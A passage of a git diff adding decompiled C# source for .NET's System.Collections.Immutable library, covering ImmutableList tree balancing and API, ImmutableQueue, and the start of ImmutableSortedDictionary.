"startIndex"); + using (Enumerator enumerator = new Enumerator(this, null, startIndex, count, reversed: true)) + { + int num = startIndex; + while (enumerator.MoveNext()) + { + if (match(enumerator.Current)) + { + return num; + } + num--; + } + } + return -1; + } + + internal void Freeze() + { + if (!_frozen) + { + _left.Freeze(); + _right.Freeze(); + _frozen = true; + } + } + + private Node RotateLeft() + { + return _right.MutateLeft(MutateRight(_right._left)); + } + + private Node RotateRight() + { + return _left.MutateRight(MutateLeft(_left._right)); + } + + private Node DoubleLeft() + { + Node right = _right; + Node left = right._left; + return left.MutateBoth(MutateRight(left._left), right.MutateLeft(left._right)); + } + + private Node DoubleRight() + { + Node left = _left; + Node right = left._right; + return right.MutateBoth(left.MutateRight(right._left), MutateLeft(right._right)); + } + + private Node Balance() + { + if (!IsLeftHeavy) + { + return BalanceRight(); + } + return BalanceLeft(); + } + + private Node BalanceLeft() + { + if (_left.BalanceFactor <= 0) + { + return RotateRight(); + } + return DoubleRight(); + } + + private Node BalanceRight() + { + if (_right.BalanceFactor >= 0) + { + return RotateLeft(); + } + return DoubleLeft(); + } + + private Node BalanceMany() + { + Node node = this; + while (!node.IsBalanced) + { + if (node.IsRightHeavy) + { + node = node.BalanceRight(); + node.MutateLeft(node._left.BalanceMany()); + } + else + { + node = node.BalanceLeft(); + node.MutateRight(node._right.BalanceMany()); + } + } + return node; + } + + private Node MutateBoth(Node left, Node right) + { + Requires.NotNull(left, "left"); + Requires.NotNull(right, "right"); + if (_frozen) + { + return new Node(_key, left, right); + } + _left = left; + _right = right; + _height = ParentHeight(left, right); + _count = ParentCount(left, right); + return this; + } + + private Node MutateLeft(Node left) + { + Requires.NotNull(left, "left"); + if (_frozen) + { + return new Node(_key, left, _right); + } + _left = left; + _height = ParentHeight(left, _right); + _count = ParentCount(left, _right); + return this; + } + + private Node MutateRight(Node right) + { + Requires.NotNull(right, "right"); + if (_frozen) + { + return new Node(_key, _left, right); + } + _right = right; + _height = ParentHeight(_left, right); + _count = ParentCount(_left, right); + return this; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static byte ParentHeight(Node left, Node right) + { + return checked((byte)(1 + Math.Max(left._height, right._height))); + } + + private static int ParentCount(Node left, Node right) + { + return 1 + left._count + right._count; + } + + private Node MutateKey(T key) + { + if (_frozen) + { + return new Node(key, _left, _right); + } + _key = key; + return this; + } + + private static Node CreateRange(IEnumerable keys) + { + if (ImmutableList.TryCastToImmutableList(keys, out ImmutableList other)) + { + return other._root; + } + IOrderedCollection orderedCollection = keys.AsOrderedCollection(); + return NodeTreeFromList(orderedCollection, 0, orderedCollection.Count); + } + + private static Node CreateLeaf(T key) + { + return new Node(key, EmptyNode, EmptyNode); + } + + private static bool Contains(Node node, T value, IEqualityComparer equalityComparer) + { + if (!node.IsEmpty) + { + if (!equalityComparer.Equals(value, node._key) && !Contains(node._left, value, equalityComparer)) + { + return Contains(node._right, value, equalityComparer); + } + return true; + } + return false; + } + } + + public static readonly ImmutableList Empty = new ImmutableList(); + + private readonly Node _root; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public bool IsEmpty => _root.IsEmpty; + + public int Count => _root.Count; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot => this; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => true; + + public T this[int index] => _root.ItemRef(index); + + T IOrderedCollection.this[int index] => this[index]; + + T IList.this[int index] + { + get + { + return this[index]; + } + set + { + throw new NotSupportedException(); + } + } + + bool ICollection.IsReadOnly => true; + + bool IList.IsFixedSize => true; + + bool IList.IsReadOnly => true; + + object? IList.this[int index] + { + get + { + return this[index]; + } + set + { + throw new NotSupportedException(); + } + } + + internal Node Root => _root; + + internal ImmutableList() + { + _root = Node.EmptyNode; + } + + private ImmutableList(Node root) + { + Requires.NotNull(root, "root"); + root.Freeze(); + _root = root; + } + + public ImmutableList Clear() + { + return Empty; + } + + public int BinarySearch(T item) + { + return BinarySearch(item, null); + } + + public int BinarySearch(T item, IComparer? comparer) + { + return BinarySearch(0, Count, item, comparer); + } + + public int BinarySearch(int index, int count, T item, IComparer? comparer) + { + return _root.BinarySearch(index, count, item, comparer); + } + + IImmutableList IImmutableList.Clear() + { + return Clear(); + } + + public ref readonly T ItemRef(int index) + { + return ref _root.ItemRef(index); + } + + public Builder ToBuilder() + { + return new Builder(this); + } + + public ImmutableList Add(T value) + { + Node root = _root.Add(value); + return Wrap(root); + } + + public ImmutableList AddRange(IEnumerable items) + { + Requires.NotNull(items, "items"); + if (IsEmpty) + { + return CreateRange(items); + } + Node root = _root.AddRange(items); + return Wrap(root); + } + + public ImmutableList Insert(int index, T item) + { + Requires.Range(index >= 0 && index <= Count, "index"); + return Wrap(_root.Insert(index, item)); + } + + public ImmutableList InsertRange(int index, IEnumerable items) + { + Requires.Range(index >= 0 && index <= Count, "index"); + Requires.NotNull(items, "items"); + Node root = _root.InsertRange(index, items); + return Wrap(root); + } + + public ImmutableList Remove(T value) + { + return Remove(value, EqualityComparer.Default); + } + + public ImmutableList Remove(T value, IEqualityComparer? equalityComparer) + { + int num = this.IndexOf(value, equalityComparer); + if (num >= 0) + { + return RemoveAt(num); + } + return this; + } + + public ImmutableList RemoveRange(int index, int count) + { + Requires.Range(index >= 0 && index <= Count, "index"); + Requires.Range(count >= 0 && index + count <= Count, "count"); + Node node = _root; + int num = count; + while (num-- > 0) + { + node = node.RemoveAt(index); + } + return Wrap(node); + } + + public ImmutableList RemoveRange(IEnumerable items) + { + return RemoveRange(items, EqualityComparer.Default); + } + + public ImmutableList RemoveRange(IEnumerable items, IEqualityComparer? equalityComparer) + { + Requires.NotNull(items, "items"); + if (IsEmpty) + { + return this; + } + Node node = _root; + foreach (T item in items.GetEnumerableDisposable()) + { + int num = node.IndexOf(item, equalityComparer); + if (num >= 0) + { + node = node.RemoveAt(num); + } + } + return Wrap(node); + } + + public ImmutableList RemoveAt(int index) + { + Requires.Range(index >= 0 && index < Count, "index"); + Node root = _root.RemoveAt(index); + return Wrap(root); + } + + public ImmutableList RemoveAll(Predicate match) + { + Requires.NotNull(match, "match"); + return Wrap(_root.RemoveAll(match)); + } + + public ImmutableList SetItem(int index, T value) + { + return Wrap(_root.ReplaceAt(index, value)); + } + + public ImmutableList Replace(T oldValue, T newValue) + { + return Replace(oldValue, newValue, EqualityComparer.Default); + } + + public ImmutableList Replace(T oldValue, T newValue, IEqualityComparer? equalityComparer) + { + int num = this.IndexOf(oldValue, equalityComparer); + if (num < 0) + { + throw new ArgumentException(System.SR.CannotFindOldValue, "oldValue"); + } + return SetItem(num, newValue); + } + + public ImmutableList Reverse() + { + return Wrap(_root.Reverse()); + } + + public ImmutableList Reverse(int index, int count) + { + return Wrap(_root.Reverse(index, count)); + } + + public ImmutableList Sort() + { + return Wrap(_root.Sort()); + } + + public ImmutableList Sort(Comparison comparison) + { + Requires.NotNull(comparison, "comparison"); + return Wrap(_root.Sort(comparison)); + } + + public ImmutableList Sort(IComparer? comparer) + { + return Wrap(_root.Sort(comparer)); + } + + public ImmutableList Sort(int index, int count, IComparer? comparer) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + Requires.Range(index + count <= Count, "count"); + return Wrap(_root.Sort(index, count, comparer)); + } + + public void ForEach(Action action) + { + Requires.NotNull(action, "action"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + action(current); + } + } + + public void CopyTo(T[] array) + { + _root.CopyTo(array); + } + + public void CopyTo(T[] array, int arrayIndex) + { + _root.CopyTo(array, arrayIndex); + } + + public void CopyTo(int index, T[] array, int arrayIndex, int count) + { + _root.CopyTo(index, array, arrayIndex, count); + } + + public ImmutableList GetRange(int index, int count) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + Requires.Range(index + count <= Count, "count"); + return Wrap(Node.NodeTreeFromList(this, index, count)); + } + + public ImmutableList ConvertAll(Func converter) + { + Requires.NotNull(converter, "converter"); + return ImmutableList.WrapNode(_root.ConvertAll(converter)); + } + + public bool Exists(Predicate match) + { + return _root.Exists(match); + } + + public T? Find(Predicate match) + { + return _root.Find(match); + } + + public ImmutableList FindAll(Predicate match) + { + return _root.FindAll(match); + } + + public int FindIndex(Predicate match) + { + return _root.FindIndex(match); + } + + public int FindIndex(int startIndex, Predicate match) + { + return _root.FindIndex(startIndex, match); + } + + public int FindIndex(int startIndex, int count, Predicate match) + { + return _root.FindIndex(startIndex, count, match); + } + + public T? FindLast(Predicate match) + { + return _root.FindLast(match); + } + + public int FindLastIndex(Predicate match) + { + return _root.FindLastIndex(match); + } + + public int FindLastIndex(int startIndex, Predicate match) + { + return _root.FindLastIndex(startIndex, match); + } + + public int FindLastIndex(int startIndex, int count, Predicate match) + { + return _root.FindLastIndex(startIndex, count, match); + } + + public int IndexOf(T item, int index, int count, IEqualityComparer? equalityComparer) + { + return _root.IndexOf(item, index, count, equalityComparer); + } + + public int LastIndexOf(T item, int index, int count, IEqualityComparer? equalityComparer) + { + return _root.LastIndexOf(item, index, count, equalityComparer); + } + + public bool TrueForAll(Predicate match) + { + return _root.TrueForAll(match); + } + + public bool Contains(T value) + { + return _root.Contains(value, EqualityComparer.Default); + } + + public int IndexOf(T value) + { + return this.IndexOf(value, EqualityComparer.Default); + } + + IImmutableList IImmutableList.Add(T value) + { + return Add(value); + } + + IImmutableList IImmutableList.AddRange(IEnumerable items) + { + return AddRange(items); + } + + IImmutableList IImmutableList.Insert(int index, T item) + { + return Insert(index, item); + } + + IImmutableList IImmutableList.InsertRange(int index, IEnumerable items) + { + return InsertRange(index, items); + } + + IImmutableList IImmutableList.Remove(T value, IEqualityComparer equalityComparer) + { + return Remove(value, equalityComparer); + } + + IImmutableList IImmutableList.RemoveAll(Predicate match) + { + return RemoveAll(match); + } + + IImmutableList IImmutableList.RemoveRange(IEnumerable items, IEqualityComparer equalityComparer) + { + return RemoveRange(items, equalityComparer); + } + + IImmutableList IImmutableList.RemoveRange(int index, int count) + { + return RemoveRange(index, count); + } + + IImmutableList IImmutableList.RemoveAt(int index) + { + return RemoveAt(index); + } + + IImmutableList IImmutableList.SetItem(int index, T value) + { + return SetItem(index, value); + } + + IImmutableList IImmutableList.Replace(T oldValue, T newValue, IEqualityComparer equalityComparer) + { + return Replace(oldValue, newValue, equalityComparer); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (!IsEmpty) + { + return GetEnumerator(); + } + return Enumerable.Empty().GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + void IList.Insert(int index, T item) + { + throw new NotSupportedException(); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(); + } + + void ICollection.Add(T item) + { + throw new NotSupportedException(); + } + + void ICollection.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection.Remove(T item) + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(Array array, int arrayIndex) + { + _root.CopyTo(array, arrayIndex); + } + + int IList.Add(object value) + { + throw new NotSupportedException(); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(); + } + + void IList.Clear() + { + throw new NotSupportedException(); + } + + bool IList.Contains(object value) + { + if (IsCompatibleObject(value)) + { + return Contains((T)value); + } + return false; + } + + int IList.IndexOf(object value) + { + if (!IsCompatibleObject(value)) + { + return -1; + } + return IndexOf((T)value); + } + + void IList.Insert(int index, object value) + { + throw new NotSupportedException(); + } + + void IList.Remove(object value) + { + throw new NotSupportedException(); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_root); + } + + private static ImmutableList WrapNode(Node root) + { + if (!root.IsEmpty) + { + return new ImmutableList(root); + } + return Empty; + } + + private static bool TryCastToImmutableList(IEnumerable sequence, [NotNullWhen(true)] out ImmutableList other) + { + other = sequence as ImmutableList; + if (other != null) + { + return true; + } + if (sequence is Builder builder) + { + other = builder.ToImmutable(); + return true; + } + return false; + } + + private static bool IsCompatibleObject(object value) + { + if (!(value is T)) + { + if (value == null) + { + return default(T) == null; + } + return false; + } + return true; + } + + private ImmutableList Wrap(Node root) + { + if (root != _root) + { + if (!root.IsEmpty) + { + return new ImmutableList(root); + } + return Clear(); + } + return this; + } + + private static ImmutableList CreateRange(IEnumerable items) + { + if (TryCastToImmutableList(items, out var other)) + { + return other; + } + IOrderedCollection orderedCollection = items.AsOrderedCollection(); + if (orderedCollection.Count == 0) + { + return Empty; + } + Node root = Node.NodeTreeFromList(orderedCollection, 0, orderedCollection.Count); + return new ImmutableList(root); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableListBuilderDebuggerProxy.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableListBuilderDebuggerProxy.cs new file mode 100644 index 0000000..88cbd88 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableListBuilderDebuggerProxy.cs @@ -0,0 +1,19 @@ +using System.Diagnostics; + +namespace System.Collections.Immutable; + +internal sealed class ImmutableListBuilderDebuggerProxy +{ + private readonly ImmutableList.Builder _list; + + private T[] _cachedContents; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] Contents => _cachedContents ?? (_cachedContents = _list.ToArray(_list.Count)); + + public ImmutableListBuilderDebuggerProxy(ImmutableList.Builder builder) + { + Requires.NotNull(builder, "builder"); + _list = builder; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableQueue.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableQueue.cs new file mode 100644 index 0000000..b60297a --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableQueue.cs @@ -0,0 +1,327 @@ +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Linq; + +namespace System.Collections.Immutable; + +public static class ImmutableQueue +{ + public static ImmutableQueue Create() + { + return ImmutableQueue.Empty; + } + + public static ImmutableQueue Create(T item) + { + return ImmutableQueue.Empty.Enqueue(item); + } + + public static ImmutableQueue CreateRange(IEnumerable items) + { + Requires.NotNull(items, "items"); + if (items is T[] items2) + { + return Create(items2); + } + using IEnumerator enumerator = items.GetEnumerator(); + if (!enumerator.MoveNext()) + { + return ImmutableQueue.Empty; + } + ImmutableStack forwards = ImmutableStack.Create(enumerator.Current); + ImmutableStack immutableStack = ImmutableStack.Empty; + while (enumerator.MoveNext()) + { + immutableStack = immutableStack.Push(enumerator.Current); + } + return new ImmutableQueue(forwards, immutableStack); + } + + public static ImmutableQueue Create(params T[] items) + { + Requires.NotNull(items, "items"); + if (items.Length == 0) + { + return ImmutableQueue.Empty; + } + ImmutableStack immutableStack = ImmutableStack.Empty; + for (int num = items.Length - 1; num >= 0; num--) + { + immutableStack = immutableStack.Push(items[num]); + } + return new ImmutableQueue(immutableStack, ImmutableStack.Empty); + } + + public static IImmutableQueue Dequeue(this IImmutableQueue queue, out T value) + { + Requires.NotNull(queue, "queue"); + value = queue.Peek(); + return queue.Dequeue(); + } +} +[DebuggerDisplay("IsEmpty = {IsEmpty}")] +[DebuggerTypeProxy(typeof(ImmutableEnumerableDebuggerProxy<>))] +public sealed class ImmutableQueue : IImmutableQueue, IEnumerable, IEnumerable +{ + [EditorBrowsable(EditorBrowsableState.Advanced)] + public struct Enumerator + { + private readonly ImmutableQueue _originalQueue; + + private ImmutableStack _remainingForwardsStack; + + private ImmutableStack _remainingBackwardsStack; + + public T Current + { + get + { + if (_remainingForwardsStack == null) + { + throw new InvalidOperationException(); + } + if (!_remainingForwardsStack.IsEmpty) + { + return _remainingForwardsStack.Peek(); + } + if (!_remainingBackwardsStack.IsEmpty) + { + return _remainingBackwardsStack.Peek(); + } + throw new InvalidOperationException(); + } + } + + internal Enumerator(ImmutableQueue queue) + { + _originalQueue = queue; + _remainingForwardsStack = null; + _remainingBackwardsStack = null; + } + + public bool MoveNext() + { + if (_remainingForwardsStack == null) + { + _remainingForwardsStack = _originalQueue._forwards; + _remainingBackwardsStack = _originalQueue.BackwardsReversed; + } + else if (!_remainingForwardsStack.IsEmpty) + { + _remainingForwardsStack = _remainingForwardsStack.Pop(); + } + else if (!_remainingBackwardsStack.IsEmpty) + { + _remainingBackwardsStack = _remainingBackwardsStack.Pop(); + } + if (_remainingForwardsStack.IsEmpty) + { + return !_remainingBackwardsStack.IsEmpty; + } + return true; + } + } + + private sealed class EnumeratorObject : IEnumerator, IDisposable, IEnumerator + { + private readonly ImmutableQueue _originalQueue; + + private ImmutableStack _remainingForwardsStack; + + private ImmutableStack _remainingBackwardsStack; + + private bool _disposed; + + public T Current + { + get + { + ThrowIfDisposed(); + if (_remainingForwardsStack == null) + { + throw new InvalidOperationException(); + } + if (!_remainingForwardsStack.IsEmpty) + { + return _remainingForwardsStack.Peek(); + } + if (!_remainingBackwardsStack.IsEmpty) + { + return _remainingBackwardsStack.Peek(); + } + throw new InvalidOperationException(); + } + } + + object IEnumerator.Current => Current; + + internal EnumeratorObject(ImmutableQueue queue) + { + _originalQueue = queue; + } + + public bool MoveNext() + { + ThrowIfDisposed(); + if (_remainingForwardsStack == null) + { + _remainingForwardsStack = _originalQueue._forwards; + _remainingBackwardsStack = _originalQueue.BackwardsReversed; + } + else if (!_remainingForwardsStack.IsEmpty) + { + _remainingForwardsStack = _remainingForwardsStack.Pop(); + } + else if (!_remainingBackwardsStack.IsEmpty) + { + _remainingBackwardsStack = _remainingBackwardsStack.Pop(); + } + if (_remainingForwardsStack.IsEmpty) + { + return !_remainingBackwardsStack.IsEmpty; + } + return true; + } + + public void Reset() + { + ThrowIfDisposed(); + _remainingBackwardsStack = null; + _remainingForwardsStack = null; + } + + public void Dispose() + { + _disposed = true; + } + + private void ThrowIfDisposed() + { + if (_disposed) + { + Requires.FailObjectDisposed(this); + } + } + } + + private static readonly ImmutableQueue s_EmptyField = new ImmutableQueue(ImmutableStack.Empty, ImmutableStack.Empty); + + private readonly ImmutableStack _backwards; + + private readonly ImmutableStack _forwards; + + private ImmutableStack _backwardsReversed; + + public bool IsEmpty => _forwards.IsEmpty; + + public static ImmutableQueue Empty => s_EmptyField; + + private ImmutableStack BackwardsReversed + { + get + { + if (_backwardsReversed == null) + { + _backwardsReversed = _backwards.Reverse(); + } + return _backwardsReversed; + } + } + + internal ImmutableQueue(ImmutableStack forwards, ImmutableStack backwards) + { + _forwards = forwards; + _backwards = backwards; + } + + public ImmutableQueue Clear() + { + return Empty; + } + + IImmutableQueue IImmutableQueue.Clear() + { + return Clear(); + } + + public T Peek() + { + if (IsEmpty) + { + throw new InvalidOperationException(System.SR.InvalidEmptyOperation); + } + return _forwards.Peek(); + } + + public ref readonly T PeekRef() + { + if (IsEmpty) + { + throw new InvalidOperationException(System.SR.InvalidEmptyOperation); + } + return ref _forwards.PeekRef(); + } + + public ImmutableQueue Enqueue(T value) + { + if (IsEmpty) + { + return new ImmutableQueue(ImmutableStack.Create(value), ImmutableStack.Empty); + } + return new ImmutableQueue(_forwards, _backwards.Push(value)); + } + + IImmutableQueue IImmutableQueue.Enqueue(T value) + { + return Enqueue(value); + } + + public ImmutableQueue Dequeue() + { + if (IsEmpty) + { + throw new InvalidOperationException(System.SR.InvalidEmptyOperation); + } + ImmutableStack immutableStack = _forwards.Pop(); + if (!immutableStack.IsEmpty) + { + return new ImmutableQueue(immutableStack, _backwards); + } + if (_backwards.IsEmpty) + { + return Empty; + } + return new ImmutableQueue(BackwardsReversed, ImmutableStack.Empty); + } + + public ImmutableQueue Dequeue(out T value) + { + value = Peek(); + return Dequeue(); + } + + IImmutableQueue IImmutableQueue.Dequeue() + { + return Dequeue(); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (!IsEmpty) + { + return new EnumeratorObject(this); + } + return Enumerable.Empty().GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new EnumeratorObject(this); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedDictionary.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedDictionary.cs new file mode 100644 index 0000000..0024780 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedDictionary.cs @@ -0,0 +1,1477 @@ +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; + +namespace System.Collections.Immutable; + +public static class ImmutableSortedDictionary +{ + public static ImmutableSortedDictionary Create() where TKey : notnull + { + return ImmutableSortedDictionary.Empty; + } + + public static ImmutableSortedDictionary Create(IComparer? keyComparer) where TKey : notnull + { + return ImmutableSortedDictionary.Empty.WithComparers(keyComparer); + } + + public static ImmutableSortedDictionary Create(IComparer? keyComparer, IEqualityComparer? valueComparer) where TKey : notnull + { + return ImmutableSortedDictionary.Empty.WithComparers(keyComparer, valueComparer); + } + + public static ImmutableSortedDictionary CreateRange(IEnumerable> items) where TKey : notnull + { + return ImmutableSortedDictionary.Empty.AddRange(items); + } + + public static ImmutableSortedDictionary CreateRange(IComparer? keyComparer, IEnumerable> items) where TKey : notnull + { + return ImmutableSortedDictionary.Empty.WithComparers(keyComparer).AddRange(items); + } + + public static ImmutableSortedDictionary CreateRange(IComparer? keyComparer, IEqualityComparer? valueComparer, IEnumerable> items) where TKey : notnull + { + return ImmutableSortedDictionary.Empty.WithComparers(keyComparer, valueComparer).AddRange(items); + } + + public static ImmutableSortedDictionary.Builder CreateBuilder() where TKey : notnull + { + return Create().ToBuilder(); + } + + public static ImmutableSortedDictionary.Builder CreateBuilder(IComparer? keyComparer) where TKey : notnull + { + return Create(keyComparer).ToBuilder(); + } + + public static ImmutableSortedDictionary.Builder CreateBuilder(IComparer? keyComparer, IEqualityComparer? valueComparer) where TKey : notnull + { + return Create(keyComparer, valueComparer).ToBuilder(); + } + + public static ImmutableSortedDictionary ToImmutableSortedDictionary(this IEnumerable source, Func keySelector, Func elementSelector, IComparer? keyComparer, IEqualityComparer? valueComparer) where TKey : notnull + { + Requires.NotNull(source, "source"); + Requires.NotNull(keySelector, "keySelector"); + Requires.NotNull(elementSelector, "elementSelector"); + return ImmutableSortedDictionary.Empty.WithComparers(keyComparer, valueComparer).AddRange(source.Select((TSource element) => new KeyValuePair(keySelector(element), elementSelector(element)))); + } + + public static ImmutableSortedDictionary ToImmutableSortedDictionary(this ImmutableSortedDictionary.Builder builder) where TKey : notnull + { + Requires.NotNull(builder, "builder"); + return builder.ToImmutable(); + } + + public static ImmutableSortedDictionary ToImmutableSortedDictionary(this IEnumerable source, Func keySelector, Func elementSelector, IComparer? keyComparer) where TKey : notnull + { + return source.ToImmutableSortedDictionary(keySelector, elementSelector, keyComparer, null); + } + + public static ImmutableSortedDictionary ToImmutableSortedDictionary(this IEnumerable source, Func keySelector, Func elementSelector) where TKey : notnull + { + return source.ToImmutableSortedDictionary(keySelector, elementSelector, null, null); + } + + public static ImmutableSortedDictionary ToImmutableSortedDictionary(this IEnumerable> source, IComparer? keyComparer, IEqualityComparer? valueComparer) where TKey : notnull + { + Requires.NotNull(source, "source"); + if (source is ImmutableSortedDictionary immutableSortedDictionary) + { + return immutableSortedDictionary.WithComparers(keyComparer, valueComparer); + } + return ImmutableSortedDictionary.Empty.WithComparers(keyComparer, valueComparer).AddRange(source); + } + + public static ImmutableSortedDictionary ToImmutableSortedDictionary(this IEnumerable> source, IComparer? keyComparer) where TKey : notnull + { + return source.ToImmutableSortedDictionary(keyComparer, null); + } + + public static ImmutableSortedDictionary ToImmutableSortedDictionary(this IEnumerable> source) where TKey : notnull + { + return source.ToImmutableSortedDictionary(null, null); + } +} +[DebuggerDisplay("Count = {Count}")] +[DebuggerTypeProxy(typeof(ImmutableDictionaryDebuggerProxy<, >))] +public sealed class ImmutableSortedDictionary : IImmutableDictionary, IReadOnlyDictionary, IReadOnlyCollection>, IEnumerable>, IEnumerable, ISortKeyCollection, IDictionary, ICollection>, IDictionary, ICollection where TKey : notnull +{ + [DebuggerDisplay("Count = {Count}")] + [DebuggerTypeProxy(typeof(ImmutableSortedDictionaryBuilderDebuggerProxy<, >))] + public sealed class Builder : IDictionary, ICollection>, IEnumerable>, IEnumerable, IReadOnlyDictionary, IReadOnlyCollection>, IDictionary, ICollection + { + private Node _root = Node.EmptyNode; + + private IComparer _keyComparer = Comparer.Default; + + private IEqualityComparer _valueComparer = EqualityComparer.Default; + + private int _count; + + private ImmutableSortedDictionary _immutable; + + private int _version; + + private object _syncRoot; + + ICollection IDictionary.Keys => Root.Keys.ToArray(Count); + + public IEnumerable Keys => Root.Keys; + + ICollection IDictionary.Values => Root.Values.ToArray(Count); + + public IEnumerable Values => Root.Values; + + public int Count => _count; + + bool ICollection>.IsReadOnly => false; + + internal int Version => _version; + + private Node Root + { + get + { + return _root; + } + set + { + _version++; + if (_root != value) + { + _root = value; + _immutable = null; + } + } + } + + public TValue this[TKey key] + { + get + { + if (TryGetValue(key, out var value)) + { + return value; + } + throw new KeyNotFoundException(System.SR.Format(System.SR.Arg_KeyNotFoundWithKey, key.ToString())); + } + set + { + Root = _root.SetItem(key, value, _keyComparer, _valueComparer, out var replacedExistingValue, out var mutated); + if (mutated && !replacedExistingValue) + { + _count++; + } + } + } + + bool IDictionary.IsFixedSize => false; + + bool IDictionary.IsReadOnly => false; + + ICollection IDictionary.Keys => Keys.ToArray(Count); + + ICollection IDictionary.Values => Values.ToArray(Count); + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot + { + get + { + if (_syncRoot == null) + { + Interlocked.CompareExchange(ref _syncRoot, new object(), (object)null); + } + return _syncRoot; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => false; + + public IComparer KeyComparer + { + get + { + return _keyComparer; + } + set + { + Requires.NotNull(value, "value"); + if (value == _keyComparer) + { + return; + } + Node node = Node.EmptyNode; + int num = 0; + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + node = node.Add(current.Key, current.Value, value, _valueComparer, out var mutated); + if (mutated) + { + num++; + } + } + } + _keyComparer = value; + Root = node; + _count = num; + } + } + + public IEqualityComparer ValueComparer + { + get + { + return _valueComparer; + } + set + { + Requires.NotNull(value, "value"); + if (value != _valueComparer) + { + _valueComparer = value; + _immutable = null; + } + } + } + + object? IDictionary.this[object key] + { + get + { + return this[(TKey)key]; + } + set + { + this[(TKey)key] = (TValue)value; + } + } + + internal Builder(ImmutableSortedDictionary map) + { + Requires.NotNull(map, "map"); + _root = map._root; + _keyComparer = map.KeyComparer; + _valueComparer = map.ValueComparer; + _count = map.Count; + _immutable = map; + } + + public ref readonly TValue ValueRef(TKey key) + { + Requires.NotNullAllowStructs(key, "key"); + return ref _root.ValueRef(key, _keyComparer); + } + + void IDictionary.Add(object key, object value) + { + Add((TKey)key, (TValue)value); + } + + bool IDictionary.Contains(object key) + { + return ContainsKey((TKey)key); + } + + IDictionaryEnumerator IDictionary.GetEnumerator() + { + return new DictionaryEnumerator(GetEnumerator()); + } + + void IDictionary.Remove(object key) + { + Remove((TKey)key); + } + + void ICollection.CopyTo(Array array, int index) + { + Root.CopyTo(array, index, Count); + } + + public void Add(TKey key, TValue value) + { + Root = Root.Add(key, value, _keyComparer, _valueComparer, out var mutated); + if (mutated) + { + _count++; + } + } + + public bool ContainsKey(TKey key) + { + return Root.ContainsKey(key, _keyComparer); + } + + public bool Remove(TKey key) + { + Root = Root.Remove(key, _keyComparer, out var mutated); + if (mutated) + { + _count--; + } + return mutated; + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + return Root.TryGetValue(key, _keyComparer, out value); + } + + public bool TryGetKey(TKey equalKey, out TKey actualKey) + { + Requires.NotNullAllowStructs(equalKey, "equalKey"); + return Root.TryGetKey(equalKey, _keyComparer, out actualKey); + } + + public void Add(KeyValuePair item) + { + Add(item.Key, item.Value); + } + + public void Clear() + { + Root = Node.EmptyNode; + _count = 0; + } + + public bool Contains(KeyValuePair item) + { + return Root.Contains(item, _keyComparer, _valueComparer); + } + + void ICollection>.CopyTo(KeyValuePair[] array, int arrayIndex) + { + Root.CopyTo(array, arrayIndex, Count); + } + + public bool Remove(KeyValuePair item) + { + if (Contains(item)) + { + return Remove(item.Key); + } + return false; + } + + public ImmutableSortedDictionary.Enumerator GetEnumerator() + { + return Root.GetEnumerator(this); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public bool ContainsValue(TValue value) + { + return _root.ContainsValue(value, _valueComparer); + } + + public void AddRange(IEnumerable> items) + { + Requires.NotNull(items, "items"); + foreach (KeyValuePair item in items) + { + Add(item); + } + } + + public void RemoveRange(IEnumerable keys) + { + Requires.NotNull(keys, "keys"); + foreach (TKey key in keys) + { + Remove(key); + } + } + + public TValue? GetValueOrDefault(TKey key) + { + return GetValueOrDefault(key, default(TValue)); + } + + public TValue GetValueOrDefault(TKey key, TValue defaultValue) + { + Requires.NotNullAllowStructs(key, "key"); + if (TryGetValue(key, out var value)) + { + return value; + } + return defaultValue; + } + + public ImmutableSortedDictionary ToImmutable() + { + return _immutable ?? (_immutable = ImmutableSortedDictionary.Wrap(Root, _count, _keyComparer, _valueComparer)); + } + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + public struct Enumerator : IEnumerator>, IDisposable, IEnumerator, ISecurePooledObjectUser + { + private readonly Builder _builder; + + private readonly int _poolUserId; + + private Node _root; + + private SecurePooledObject>> _stack; + + private Node _current; 